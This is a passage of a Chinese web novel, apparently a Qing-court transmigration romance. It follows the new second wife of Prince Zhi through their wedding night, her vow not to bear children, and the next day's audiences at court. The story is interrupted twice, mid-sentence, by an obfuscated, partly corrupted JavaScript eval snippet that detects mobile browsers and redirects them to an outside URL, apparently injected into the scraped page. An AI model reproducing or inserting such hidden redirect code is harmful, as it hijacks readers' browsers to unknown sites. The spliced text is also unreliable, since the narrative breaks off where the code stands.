这便是紫禁城里的规矩。 而皇子们搬出紫禁城,开府之后,也依旧沿袭着紫禁城的规矩。 她在宫中选秀那半个月学到的规章制度,如今也算派上用场了。 ** 王府前院,张灯结彩,红灯红绸随处可见。 出宫开府的皇子们都来了,从三爷到八爷陪着宗亲长辈吃酒。 裕亲王、简亲王、庄亲王、康亲王、信郡王、安亲王、恭亲王,光是宗室王爷就来了七位。 除了他们,还有各王府的世子、阿哥,以及直郡王所在的镶蓝旗里有爵位的宗室。 宗室几位王爷难得来的这样齐全,这是直郡王初次大婚,以及其他几位皇子大婚时都不曾有过的规格,也就太子爷大婚那日来的这么齐全。 按道理,娶继室是不应该比娶元配更隆重的。 但无论是大阿哥当年娶妻,还是三爷、四爷、五爷、七爷和八爷娶妻的时候,都还只是光头阿哥,又住在宫中只有三进的阿哥所里,没资格大办,也没场地大办。 再度娶妻,昔日的大阿哥已经是郡王了,继福晋张氏又是内务府以亲王福晋的纳彩礼规格聘娶的。 显然,能决 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招待女客的宴席是在后院,由几位皇子福晋出面待客,跟前院的热闹景象比起来,这里要安静不少。 一来是因为女眷当中有一些是不饮酒的,便是饮酒之人,也甚少有像男子那样不断劝酒的。 二来是因为这里的女眷大都和直郡王的原配福晋相处过,尤其是几位皇子福晋。 早先没有出宫时,三福晋和大福晋比邻而居,中间不过隔了两道墙而已。 四福晋嫁人的时间早,还在三福晋和太子妃之前,她和爷是娃娃亲,十一岁就嫁给爷了,跟大嫂作为妯娌相处的时间是最久的。 五福晋和七福晋于去年相继嫁入宫中,彼时,先大嫂已经过世一年有余了,她们不曾见过,只是听人说起过,难免唏嘘。 八福晋就更不曾见过了,但同为女人,同为正室原配,她替这位先大嫂愤慨难受。 成婚九年,给男人生了五个孩子,人走的时候还住在阿哥所那逼仄的院子里,没当一日的郡王福晋,没住上一天的郡王府。 全让年纪轻轻的张氏捡了现成的,郡王福晋的位份,宽敞豪奢的郡王府,就连先大嫂拼了命生下的五个孩子,将来不还是要叫新福晋一声‘嫡额娘’。 只闻新人笑,不见旧人哭。 想想她便觉得肺都要气炸了,还吃什么吃,她瞧见这宴席上的笑脸都觉得虚伪无情。 觉罗氏作为新娘子的母亲见状也淡了脸上的笑意。 先福晋再怎么好,也跟她闺女没关系,她闺女从前都不认识先福晋,没受过先福晋恩惠,也没害过先福晋,这婚事也不是她们家求来的。 她能理解这些人怀念先福晋,念先福晋的好,可什么时候怀念不行,在哪里怀念不行,今儿可是她闺女大喜的日子,这是她闺女的喜宴。 旁人只是看着没那么欢喜,不像是参加喜事的,倒像是寻常的赏花宴品茶会,八福晋直接丧着一张脸。 在这时候这地方丧着一张脸! 难怪京中会有八福晋跋扈的传言。 李氏努力维持着脸上的笑,尽量和同桌的福晋们说笑,试图营造欢喜的气氛。 手上的帕子都已经被汗水浸湿了,今日她才真正体会到什么是齐大非偶。 抛弃身份不谈,十七岁的小姑娘嫁给一个二十六岁有五个孩子的鳏夫,本该惹人同情,可加上身份,众人却只觉得是小姑娘占了便宜。 5. 第 5 章 占了便宜的淑娴,美美饱餐了一顿,然后起身在屋里溜达着消食。 十几圈之后,才洗澡换上衬衣,照旧是一水的正红,连脚上的绣花鞋都是这颜色。 “你们都下去歇着吧,明儿还要早起。” 淑娴把屋里伺候的人都打发了,自个儿半瘫在炕上等人。 虽说是入乡随俗,她预备着拿了俸禄就好好做个贤妻良母,对得起这份年薪五百两白银、五百斛禄米的工资,但没打算卖命卖人。 她的四个陪嫁丫鬟,都是很好的姑娘,将来的婚事总是要随她们自己的心意,而不是被拿来固宠。 她之前便和这四人谈过,两个选择,一是跟着她进王府,将来或嫁人或自梳做嬷嬷或出府,二是留在家里,跟着母亲或是嫂嫂。 石榴、葡萄、小桃和山竹都选择了跟她进府,此外,随她嫁进来的还有赵嬷嬷一家。 未出嫁前,她院子里的人事一直是石榴管着,葡萄和小桃都跟她学过算术、学过记账盘账,也都有着丰富的盘账经验,山竹最是心细,赵嬷嬷则是跟在她额娘身边几十年。 这些人都是她可以信任的,也是她所了解的,在初入王府的这几年,定然要重用,将来再找机会慢慢散出去,免得十年后和她一起失了自由身。 未来几年,她们的目标就是搞钱! 除了王府的俸禄外,她的嫁妆可以说是相当丰厚了,内务府送来的纳彩礼基本全在这里头了,家里、族里和姻亲也都大出血。 两个在近郊的庄子,一个五百亩的,一个三百亩的。 家里在京城的两处香饮铺都给了她,除此之外,还有三处闲置的铺子。 家中的香饮铺从前便是她打理的,除了在京城的两间外,还在江南那边开了几间。 这几间香饮铺除开掌柜有一定的份额外,她和石榴、山竹也有技术分成费可拿,毕竟产品更新都她们负责的,她还有一份额外的管理费。 葡萄和小桃则是会负责每年年底的盘账,以此来赚取一份外快。 先前,她不敢扩大香饮铺子的规模,怕赚太多惹人眼红,被哪家的贵人强娶豪夺了去。 但如今能强取豪夺了直郡福晋产业的贵人应该没几个,直郡王毕竟是皇帝的儿子,现在也不是十年后,直郡王还没有被康熙厌弃,所以她完全可以放心大胆的扩大规模。 现成的铺子——嫁妆里的三处闲置铺面。 现成的生产场地——两个加起来足有八百亩的庄子,里面有一部分的劣田和荒地,正好可以用来建作坊。 现成的管理人员——石榴管人事,葡萄和小桃管财务,山竹管研发,她总揽。 好好干上几年,她们争取把未来养老的钱都赚到。 至于王府这边的中馈,她听说继室难为,有的嫁进去后需要被考察一段时间,有不讲究的人家甚至直接就是侧福晋和格格掌管中馈。 她自然是希望能拿到对王府后院的管理权,如此,她便能更好的为十年后做准备了。 倘若拿不到管理权,她可以收拾和归置的便只有自己住的正院,相比整个后院,正院的面积怕是还占不到十分之一。 不过,就算她拿不到王府后院的管理权,府里的福利应该也不会少了她这边的,毕竟直郡王作为一个有志于大位的皇子,总不能宠妾灭妻吧,自然要给她这个福晋尊重和体面。 外面的喧嚣声渐渐消失,淑娴估摸着王爷应该快来了,便端正坐姿,腰背笔挺,两手交叠放于膝上。 果然,不多时,门尚未开,她便听到了脚步声,闻到了酒臭味。 淑娴抿了抿唇,屏住呼吸。 顶头上司,可不能露出嫌弃的表情来。 起身上前打开房门,就见两名太监扶着一个醉汉。 “福晋主子,爷喝多了酒,奴才已经吩咐膳房送醒酒汤过来了。”赵德福忙道。 只是爷醉成这样,不知道醒酒汤能不能起作用,若今晚一直这么醉着,那可就麻烦了。 赵德福心中忧愁,可却也是没有法子,爷素来海量,却在新婚夜醉到路都走不稳当。 淑娴侧身让开,道:“把爷扶到里面去吧。” “奴才遵命。” 赵德福和另一名小太监把爷架到婚床上,脱了鞋子,这样才躬身道:“奴才告退。” 小碎步退出去,轻轻把门关上,动作行云流水,恭恭敬敬,不发出一点声响。 淑娴望着门口长吸了一口气,打工人都不容易,她至少拿的还是高薪。 “爷,喝口水?” 淑娴端着茶过去,见没动静,便想把茶盏放到一旁的炕桌上,只是茶盏刚放在桌子上,便听躺床上的人道:“扶我起来。” 淑娴小心将把人扶起来,把软枕放过去让王爷靠着,这位爷才睁开眼睛。 “您喝水?” 淑娴重新把茶盏端起来。 “嗯。” 见这位也没有要伸手的意思,淑娴只能把茶盏端到对方嘴边,小心喂给对方。 “爷再来一盏?” 直郡王摆了摆手,抬手揉了揉太阳穴,刚在外面喝了那么多酒,现在根本就不渴。 “去把桌上的酒盘端来。” 还喝? 她一早就瞧见内间桌上的那套酒具了,金色的,以皇室的财大气粗,那极有可能是纯金的,上面还镶嵌了红宝石。 啧啧啧,这么一套少说也得八九十两银子,都够她们家好几个月的嚼用了。 淑娴很有眼力劲儿的主动给这位爷倒了一杯酒,递过去,见对方不动手,便将酒杯递到王爷嘴边,预备直接喂进去。 直郡王眉头紧皱,往后侧了侧脑袋,没喝,伸手把酒杯接过来。 “再倒一杯。” 再倒一杯? 淑娴后知后觉,这才意识到还有个交杯酒的流程没走。 往另一只金灿灿的酒杯里倒满酒,淑娴端起来后主动把手臂从直郡王手腕处勾过去,一饮而尽。 脑袋晕乎乎的直郡王看得一愣,尔后才仰头将酒送入口中。 他记得他那日去求皇阿玛,对未来福晋的要求中有一条是……胆子不大。 他不希望未来福晋是个胆大之人,胆子大了,便有为了自身利益害人的风险。 皇阿玛是答应了他的,必不可能反悔,也不可能忘了这一条,总不会是连皇阿玛都看走了眼吧。 他怎么瞧,张氏都不像是个胆小之人。 当然,他也并不希望自己的福晋是一个怯懦之人,那样对外丢的是整个直郡王府的脸,是他的脸。 他对继福晋的要求不高,他不需要继福晋有多好的家世,有多漂亮的脸蛋,有多善解人意的性子,他不需要对方出彩,他只需要对方做好一个福晋的本分。 对内,不残害子嗣,管理好后院不出乱子,对外,能够应对正常的人情往来。 如此而已。 “张氏,既结为夫妻,便是难得的缘分,爷也盼着日后能与福晋和美圆满,所以有些规矩,爷要说在前头。” “您说。” “孩子是底线,爷不许任何人伤害他们分毫,否则……爷会让他后悔来过这世上。” 淑娴点了点头,这她可以保证,她没有残害小孩子的想法,更没有这种需要。 直郡王接着道:“阿哥所从前的规矩都是依着宫里来的,如今搬出来,规矩暂时不变,府里若有不服顺的人,福晋可以直接照着规矩处理,有不方便的地方,交给爷来办。” 淑娴继续点头,王爷这是直接放权给她了。 甚好,甚好。 她虽然在进房门之前一直蒙着盖头,没有见过这座郡王府的全貌。 但据说这座郡王府占地面积接近四十亩,虽然是分为前院和后院两部分,但这两部分并不是平均分配的,后院的面积要远大于前院,这也就是说后院差不多有三十亩的面积。 三十亩是什么概念,是两万平方米,相当于四十多个篮球场,或是两百多个羽毛球场。 如此大的面积,如果准备充分的话,完全可以实现自给自足,至少也可以让拘禁的日子没那么难熬。 “袁嬷嬷是爷从前的保姆嬷嬷,先前几个月,一直是她代管后院,爷让她来帮你,对外的人情往来皆有成例,照例即可,若有拿不准的地方,可来问爷。” 直郡王想着自己整日早出晚归,时不时还需要出京,在府里待的时间并不多,便又多嘱咐了句。 “若一时半会儿寻不到我,福晋又实在拿不定主意,可以进宫与额娘商议,或者去找四弟妹商量。” “四弟妹?” 如今的四福晋,未来雍正的皇后? “四弟妹当年还是个女娃娃的时候就嫁给老四了,跟……先福晋相处时间最久,妯娌俩的感情也向来好,这两年多,后院没有女主子,大格格几人没有额娘照顾,四弟妹没少帮衬。”直郡王解释道。 原来如此。 皇家的事情一直为人津津乐道,淑娴虽然也才回京两年,可也听说了皇子福晋的二三事。 四福晋和八福晋都是娃娃亲,不同的是,四福晋婚事定下没多久就嫁进了皇城,彼时还是个十岁出头的小女娃,而八福晋虽然婚事定下的早,却也是去年才成婚。 皇上目前有七个儿媳,最早嫁进宫中的是从前的大福晋,然后是四福晋,之后是三福晋,太子爷虽然行二,但太子妃进门还在三福晋和四福晋之后。 这在寻常人家是几乎不可能出现的情况,但是在皇家,什么情况都有可能出现,世上最讲规矩的是这家,最不用讲规矩的也是这家。 淑娴一一应下,诚如王爷所说,有些话不如说在前头,彼此都方便。 这位爷不用疑心她会是个狠毒的后母,她也可以尽早拿到对后院和王府资源更多的支配权,也才能更早地为未来做准备。 开诚布公嘛。 “臣妾谨记王爷教诲,臣妾也有几点诉求,还请王爷指教。 首先也是孩子,臣妾自问不是圣人,有了亲生的孩子,或许便不能维持初心了,这不是王爷想看到的,亦不是臣妾想要的。 所以在大阿哥满十五岁之前,臣妾不预备生子,就算是防患于未然吧。” 大阿哥弘昱今年两周岁,等到他满十五岁的时候,已经是十三年后了,那个时候一大家子都被圈在这府里了,生不生还有什么要紧的。 直郡王按着太阳穴,一时间有些怀疑自己是不是醉到出现幻听了。 在弘昱满十五周岁之前都不预备生子,这跟直接放弃生育有什么区别。 张氏虽然年轻,十三年后应该也三十岁了,早就已经过了一个女人生育的最好年纪。 他自问不会亏待张氏,也希望张氏能够善待弘昱,但没想过要剥夺张氏的生育权,张氏是嫡福晋,生儿育女本就是张氏的权利。 “何至于此,该给弘昱的,爷都会给他,可也不至于让福晋如此牺牲,将来如果有了小阿哥,爷也会为他筹谋。” 不用筹谋了,淑娴心说。 一来,她不想生不愿生。 二来,王爷再怎么筹谋都没用,不管是嫡长子还是嫡次子还是庶子,将来都会沦为闲散宗室,且要陪着亲爹坐牢半辈子。 “臣妾心意已决,王爷就成全臣妾吧,臣妾在此对天发誓,在大阿哥弘昱满十五周岁之前,绝不生育,若有违此誓,就让臣妾不得善终。”淑娴伸出三根手指头干脆利落的道。 态度端正,语速极快,完全不留给人插话的余地。 直郡王:“……” 这下不止太阳穴疼了,后槽牙都开始疼。 忍不住开始反思,是不是他刚刚言辞过于激烈,以至于让这小丫头气到发下如此重誓。 他也是现在才意识到,张氏,他今日新娶进门的福晋,还是个年纪不大的小丫头,比他的长女才大了七岁。 一个小丫头,脾气大还有点莽的小丫头,都不用等明年,过几日想起今晚胡乱发出的誓言就该悔得肠子都青了。 “唉。” 直郡王叹了口气,他已经可以想象到这小丫头将来以泪洗面郁郁寡欢的场景了。 也怪他,醉酒后反应慢了半拍,没来得及拦住,早在福晋伸出三根手指指天的时候他就应该把人拦住的。 “不过,避孕药一事还是要麻烦王爷,请大夫为臣妾开副不伤身子的避孕药。” 她害怕生产的鬼门关,也不想承担十月怀胎的辛苦,因此要避孕,但避孕的前提是对身体无害,否则倒不如清心寡欲,好好养生。 所以她需要王爷为她请一位高明的大夫,开不伤身体的避孕药。 当然,她求王爷来做这件事情还有一点私心——通过王爷让宫中知晓此事,让上头的公公婆婆知道,并非她不能生,也不是她不愿生,而是为府中的嫡长子着想,为王爷后院的安稳牺牲。 简单来说,就是希望在公婆那里把‘不生孩子’的锅甩给男方。 直郡王的表情有些一言难尽,但还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450298|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头,话赶话都说到这份上了,他总不能呸呸呸,让人把誓言收回去。 再说这收得回去吗。 直郡王这会儿是彻底酒醒了,漆黑的眼珠看着张氏,他可没忘记,张氏开始时说的是几条要求,刚才那只是第一条。 淑娴清了清嗓子:“第二,是关于几位格格和大阿哥的教养问题,臣妾家里小门小户——” 直郡王抬手打断对方。 “你是福晋,亦是嫡母,教养他们是应该的,从明天起,大阿哥抱到正院来抚养,爷把他交给你。” 女儿们倒不必了,他最小的女儿也六岁了,已经有自己的院子了。 “大格格和二格格也到了该学管家的年纪,福晋有时间多教教她们。” “三格格和四格格年纪都还小,正是憨吃憨玩的时候,不必用规矩多约束她们,也就松快这几年了。” 直郡王细细交代着,等弘昱再大一些的时候,可以放到前院他亲自带着,请先生来教,但几个女儿不一样,有些事情是他、是身边的嬷嬷们教不了的。 淑娴笑笑,既然王爷不同她客气,那她也就不客气了。 “第三,王爷既然把后院交给臣妾打理了,那臣妾能不能按照自己的心意布置院子,您放心,只是正院和后院的公共区域,不包括阿哥格格的院子。” 直郡王能说什么,且不说这本来就是小事儿,就算福晋这会儿求他个大的,他也不能拒绝,毕竟人家刚刚可是立了毒誓。 虽不是他的本意,可这也够欺负人的了。 他理亏心虚。 “可以,后院怎么布置都随你的心意,就算把府里的湖填了都行,还有呢?” 还有湖。 她可不填湖,在湖里种些莲藕养些鱼虾倒是可以考虑。 “爷说要把后院交给臣妾打理,那库房的钥匙是不是……” “明儿爷让人给你送来。” 老板这么好说话,不多砍几刀,以后可能就没这好机会了。 淑娴继续提要求:“我对库房有支配权吗?” 直郡王本来想说有,但又怕这愣丫头哪天把库房都搬空了,不过转念想想库房而已,搬空就算是买教训了,张氏如果不受教训,还不得一直这么愣下去。 想想刚刚的重誓…… “公中库房的东西随你支配,账上的银子也随你支配。” 账上目前没多少银子,明儿他让人去前院取两万两放账上,管家没银子怎么行,更别说福晋好像还打算重新布置后院。 “关于您的几位格格和侍妾,您有要交代的吗?” 按照额娘的话来说,这几位都是跟着王爷的老人了,虽没有生育过,但也有着多年的情分。 第一个伺候过王爷的和王爷在意的,都需要她格外注意。 直郡王皱了皱眉头,福晋这时候问及府中妾室,怕还是为了方才的生育之事。 福晋为了弘昱刚刚都发誓十三年内不会生育了,正经的嫡福晋不生,难道让格格侍妾去生。 侍妾暂且不提,有两个是伴驾南巡时官员孝敬的,有一个是底下门人送的,都养在府里头,按规矩本就是不允许生养的。 几个格格……若有生育之功,将来未必不能被封为侧福晋,有子的侧福晋对上无子的福晋,谁更有底气还真不一定。 誓是福晋发的,可要拉着府里的格格一块服避孕药……这也说不过去。 算了,顺其自然吧,反正他一个月在府里总共也待不了多少天,这两年里,他不伴驾出京的日子,每个月去妾室那里的次数也就三四回,而他每年有一半的时间都伴驾在外。 从前先福晋在时,他去的就更少了,日后就恢复到两年前,只在福晋不方便的时候才去几个妾室那里。 如此也就用不上什么避孕药了。 “格格和侍妾不上玉牒,没有俸禄银子,只有公中发的月银,从前在宫里的时候,格格一个月五两,侍妾一个月三两,如今搬出宫来,人员多开销也大,福晋不妨给她们涨一涨月银。” 这规矩也不是他定的,都有旧例,宫中贵人每年的年俸是一百两,光头阿哥的格格一年领到的月银自然不能越过贵人的年俸去。 “供应也上调些许,这些福晋看着办就行,平日里别亏待了她们,好吃好喝的供着,该立规矩的时候要给她们立规矩。” 在直郡王这里,王府和官衙、兵营都是一样的,要想不出乱子,便要守规矩,要想人心稳,便要让每个人都有好处可拿,当然,谁不守规矩,该罚也一定要罚。 见面之后,王爷说的最多的除了府里的几个孩子外,便是‘规矩’二字了。 淑娴先前在宫中选秀那半个月,也学了许多宫中的规矩,不过那时她是秀女,寻常秀女。 而现在……放下十年后的结局不谈,她现在确实是鸟雀飞上枝头变凤凰了,等同于直接从实习生飞升管理层,还是有股份的管理层,因此绑死在直郡王府这家大厂内。 她需要适应新的身份,也需要学习王府的规矩。 夜渐渐深了,两支龙凤烛静悄悄燃着,换了地方的淑娴一夜好眠无梦,倒是直郡王翻来覆去睡不着。 他虽然看重发妻留下的嫡长子,把这孩子当做心肝当做命根,想过为了这孩子,缓上几年再生子,但从没想过缓上十三年。 十三年后,他也到不惑之年了,不是每个男人都能像皇阿玛这样不惑之年还能接连得子的。 啧……独子。 在世人眼中,独子总归是不保险的,寻常百姓家都讲究多子多福,更别提皇家了,尤其他还有心大位。 前朝的永乐帝曾在长子和次子之间纠结究竟将皇位给谁,结果却是文臣解缙一句‘好圣孙’提醒了永乐皇帝,最终决定将皇位交给生了个好儿子的长子。 或许是醉得头脑发昏了,或许是夜太深,也让人头脑不甚清晰,直郡王在辗转反侧间竟生出荒唐念头。 张氏冒失,才会在仓促之间发下那样的誓言,但也足以见得张氏心善,对世子之位并无野心。 他若是也……是不是便足以证明他也是个没有野心的人,对皇位没有野心,从前、现在和未来的种种努力不过是想做个好儿子、做个贤王,他与太子相争,争的是阿玛的疼爱和看重,而非储君之位。 他的爵位这么多年被压着不封,今年封也只是被封为郡王,可见在皇阿玛心中,始终是不希望他会威胁到太子地位的。 那不如他主动退一步,让皇阿玛放心。 6. 第 6 章 翌日,赵嬷嬷领着小桃收拾床铺的时候,不顾王爷还在屋里,便已经绷不住表情了。 心中惴惴,一脸恓惶。 被褥干干净净,两床被子泾渭分明。 这……这可如何是好。 为人继室不易,尤其前头还有一位千好万好的原配,她想过自家姑娘可能不受王爷待见,但没想过居然被不待见至此,昨晚可是新婚之夜。 这……这已经不是待不待见的问题了,王爷此举显然没把她们姑娘当福晋,也可以说是没接受她们姑娘当福晋。 哪有这样的,这不是欺负人吗。 赵嬷嬷惶惶然,一旁的小桃也意识到不对劲了,面色霎时间变得苍白起来。 淑娴此时正坐在铜镜前,任由山竹和葡萄为她梳妆,并未注意到赵嬷嬷和小桃的表情。 直郡王则站在离床榻不远的地方,由赵德福帮他整理身上的郡王补服,也怪他眼神太好,随意一瞥,便注意到福晋身边的嬷嬷和丫鬟一脸的惊慌恐惧,好似要哭出来一般。 他又不是毛头小子,自然知道两个人在惊慌些什么,这事儿吧赖他也不赖他。 是他先跟福晋提的孩子,本意是让福晋好好照顾几个孩子,莫起坏心思。 但福晋年轻气盛,比他还莽,直接发毒誓,还主动管他要避孕药。 他一时半会儿上哪弄避孕药去,又是在新婚之夜。 虽说男女之间想不生孩子,除了避孕药外,也不是没有别的方法,但这些方法未必保险。 福晋当时发下的誓言太狠了,他哪儿敢赌,哪儿敢‘害人性命’。 直郡王假装看不见,朝珠和朝珠都还没戴上,就先大跨步去了外间。 赵嬷嬷和小桃瞧见人走了,也赶忙走到福晋身旁。 淑娴只能小声糊弄道:“你们昨天也看见了,王爷回来的时候,醉得连路都走不了,如何行得了夫妻之礼,所以……反正日子还长,不急在一时。” 这些事情不可能一直瞒着身边人,但今日要进宫,还是暂且先糊弄着吧,免得过于担心,在宫里出了差错就麻烦了。 赵嬷嬷得了福晋的解释,脸上的愁色却并未散去,王爷又不是头一次娶亲了,难道会不懂规矩不知流程,新婚之夜便借着醉酒冷落她们家福晋,日后这可怎么是好。 小桃几人亦是愤愤不平,哪有这样的,从未听说过有新郎官在新婚之夜因为醉酒不能行夫妻之礼的,这不是慢待冷落是什么。 可福晋马上要进宫朝见,她们此时也不好再说什么,免得影响了福晋。 身为郡王福晋,淑娴早饭只有一碗粘稠的面茶,王爷也是如此,吃的还不如底下人丰盛。 不过,这也是没办法,今日是新福晋正式亮相的日子,既要去宫中朝见皇太后、皇上和惠妃娘娘,又要去拜见太子爷和太子妃,并在太子爷的毓庆宫和其他皇子皇子福晋们见面。 如此便不好多用汤水了。 淑娴上了马车,直郡王则是在外骑马,一路行至神武门,下马的下马,下车的下车。 依着规矩,亲王、郡王和贝勒有在宫中骑马的特权,只是若非有十万火急之事,便是亲王也不会轻易用这特权,尤其是在后宫中。 而郡王福晋按照品级在宫中亦是有车辇可乘坐,只是……不能坐。 “几位弟妹进宫都是步行,太子妃去宁寿宫给太后请安也不乘坐辇车。”直郡王跟福晋解释道。 宫规是宫规,规矩是规矩,这些事情上都要依照旧例。 淑娴瞧了瞧自己三寸高的花盆底鞋,腿着倒也无妨,三寸而已。 夫妻俩去的第一处是宁寿宫,太后是个看起来很是慈祥和蔼的老太太,不会说汉语,也不会说满语,而淑娴也只会几句请安问好的蒙语。 恭恭敬敬的行完朝拜礼后,太后赏给孙媳一匣子珍珠,淑娴奉上的是自己手缝的抹额。 “皇祖母说什么?”淑娴小声问道,她是半句都听不懂。 直郡王回道:“皇祖母刚刚说,让我们好好过日子,说你看着是个心地善良的好姑娘,让我珍惜眼前人。” “我不会说蒙语,您帮我谢谢皇祖母,我刚才见到皇祖母便觉得亲切,就像……见到亲祖母一样,您帮我把话都翻过去。” 千穿万穿,马屁不穿。 直郡王应下,如实向皇祖母翻译,还补充道:“……张氏心思赤诚简单,有什么就说什么,请您多担待。” 太后笑着点了点头,这小两口现在看着倒也不错,直郡王愿意在人前帮衬照顾福晋,算是给未来的日子开了个好头。 有时候夫妻之间的关系就取决于开头时的相处,像老五夫妻俩就……唉,老太太有些忧愁但不多,人哪能尽善尽美。 老五什么都好,如今也封了贝勒,只夫妻缘分差些。 老五福晋的日子,现在看在妯娌们当中是难过的,但老五并非任性之人,就算不喜五福晋,五福晋的位置也稳稳当当,不像她当年,皇后做的战战兢兢,生怕步了姑母的后尘,被先帝废黜。 好在,那些日子都熬过来了,人活着,还享到了后福,不像董鄂氏,虽得先帝盛宠,但走的太早了,现在想想也是可怜。 先大福晋也一样可怜,年纪轻轻人便没了。 底下的张氏也不容易,可能过不了多久,明媚活泼的性子就会沉稳下来,像紫禁城里的许多女子一样。 老太太心生怜爱,但也没再让人多留。 老五是在她膝下养大的,她怎么偏疼偏宠都行,但对皇帝别的儿子就不行了,尤其是太子和直郡王。 她,不单单是她自己,不单单是紫禁城里的皇太后,她身后还牵着科尔沁,她不能给族人和皇帝惹麻烦。 离了宁寿宫,下一站便是乾清宫,整座紫禁城甚至是整个天下的权力中心。 “儿臣/儿媳拜见皇阿玛。” 康熙看着底下叩首行礼的儿子儿媳,不免想到孝昭,他的第二任皇后。 斯人已逝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450299|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只留下坤宁宫正殿中的一块灵牌。 “既有缘为夫妻,你们二人日后要相互扶持,同心同德。” “儿臣/儿媳谨遵皇阿玛教诲。” “都起来吧。”康熙道。 淑娴一直略低着头,眼脸向下,一双眼睛也老老实实盯着地面,不敢向上瞧,一如她几个月前进宫选秀时那样谨慎老实。 惜命之人,在掌管生杀大权之人面前自然是小心再小心,不敢放松。 看着一旁乖巧如同鹌鹑的福晋,直郡王倒也不觉得奇怪,莫说张氏一个女子了,在外对着宗室王爷都挺腰扬头的索额图,到了皇阿玛跟前,不也嬉皮笑脸装傻充愣的卖乖,一副不把脸皮当回事儿的模样。 不过,他也大概明白皇阿玛为什么会看走眼了,如果张氏在宫中选秀期间也是这般老实模样,谁又能知道内里是个年轻气盛的愣丫头呢。 想想昨夜之事,想想在辗转反侧之间冒出的荒唐念头,直郡王在心中犹豫不决。 斟酌着禀告皇阿玛时的说辞,想着皇阿玛会有的反应,又深觉此举还是太过大胆和冒险,荒唐到了极点。 淑娴鼻观眼眼观心,目不斜视,既不敢直视圣颜,也不去瞧身旁人。 可康熙在上首却看得真切,看到了张氏的规矩谨慎,也看到了保清脸上的黑眼圈和不虞之色。 想到赵昌昨日汇报上来的情况,喜宴虽阵势浩大,宗室王爷几乎全来了个遍,可作为新郎官的保清却是满场喝酒,拦都拦不住。 这是欢喜模样吗,怕是在缅怀旧人吧。 伊尔根觉罗氏去了已有两年多,但保清似乎还没走出丧妻之痛。 康熙其实是能感同身受的,他有过三任皇后,最后一任皇后还是自己嫡亲的表妹,可后面每一次立后,他都会想起元后赫舍里氏,时至今日,二十多年过去了,他已经记不起赫舍里氏的模样,却还是偶尔会怀念这个人。 发妻元配,终究是不一样的。 可保清再怎么怀念发妻,也该给张氏应有的体面,而不是如此的七情外露,夫妻一体,世人笑话张氏,损害的也是保清的体面。 康熙略一沉吟,他要抬举张氏,可张氏有什么能让他夸赞呢。 其家族并无能臣,除了其父外,张家甚至没有一个能让他记住名字的臣子,而其父张浩尚,也仅是徐州镇总兵官,若非此次选秀,他连这人的名字也记不住。 “张氏是个懂规矩的,不错,赏玉如意一柄。”康熙夸道,并把原先预备打赏给儿媳的一块羊脂玉的平安无事牌换做玉如意。 直郡王:“……” 皇阿玛这夸的也太硬了。 不过,赏下的这柄玉如意可真大,质地也非凡品,如果他没记错的话,这好像是安南去年送过来的贡品,数量不多,只有五柄。 淑娴尚不知晓这柄玉如意的珍贵程度,只是看这色泽材质,看这大小,就知道价值不菲,可惜那是御赐之物,哪怕穷困潦倒之时,也不能卖了换钱。 7. 第 7 章 淑娴不识货,惠妃却是识货的。 这么大的玉如意,是去年贡品中的珍品,数量又少,送进宫后便相当惹眼。 据她所知,在这之前只送出去了四柄,一柄送去了宁寿宫,一柄给了太子爷,一柄赏了宜妃,还有一柄赏给了年初离京下嫁喀尔喀郡王的和硕恪靖公主,作为嫁妆。 惠妃瞪了儿子一眼,这个不省心的,她也听闻了儿子昨日满场找酒喝的事情,万岁爷赏下这柄玉如意,怕也是为保清昨日之事找补。 儿子没做好事情,父母可不得帮着描补。 “好孩子快起来。”惠妃亲自拉了儿媳起身过来挨着她坐,“额娘早就想见见你了……” 惠妃亲切地拉着儿媳的手。 淑娴脸都要笑僵了,面对太后时她还能拍拍马屁,但婆婆话太密了,她根本插不进话去,只能不断跟着点头嗯嗯。 直郡王在母妃宫中就放松多了,行过礼后便去了净房,回来在炕桌上的盘里捡了几块点心吃着,边吃边听婆媳俩说话,多是他额娘在说。 “……保清是个直脾气,有时候办事不过脑子,你别跟他一般见识,有什么委屈就跟额娘说,额娘管教他……” “……能做婆媳也是咱们娘俩前世修来的缘分,有什么事别跟额娘客气……” “……你额娘是镶红旗的红带子?那倒是巧了,本宫有一侄女便嫁去了镶红旗,也是红带子……” “……你名字里淑娴的娴是哪一个……” 一盘点心下肚,直郡王不得不提醒额娘:“我们该走了,等会儿还要去毓庆宫,人都等着呢。” “慌什么,这才待了一刻钟,你再等等,让淑娴歇歇脚,要不要去净房?” “去。”淑娴赶紧道,面对貌似有些话唠属性的惠妃,她刚进门时的紧张现在已经消退大半了。 人一走,惠妃脸上的表情骤然严肃起来。 “你丧着一张脸做什么,谁惹你了。”惠妃放低声音怒斥道。 “儿子……” “知道你放不下发妻,可你在心里想想就得了,无论你晚上没人的时候怎么缅怀,跟本宫几个孙女孙子怎么念叨都没人管你,你哪怕是单独在本宫这儿念叨呢。 人家张氏招你惹你了,大婚之日你满场找酒喝,大婚第二天你连个笑模样都没有,眉头皱得能夹死苍蝇,你亏不亏心。” 最让惠妃气愤的还不是这两点,而是她刚刚看张氏进门走路的样子,怎么觉得这孩子好像还是……还是清白之身。 要真还是清白之身,丧不丧良心。 直郡王:“……” 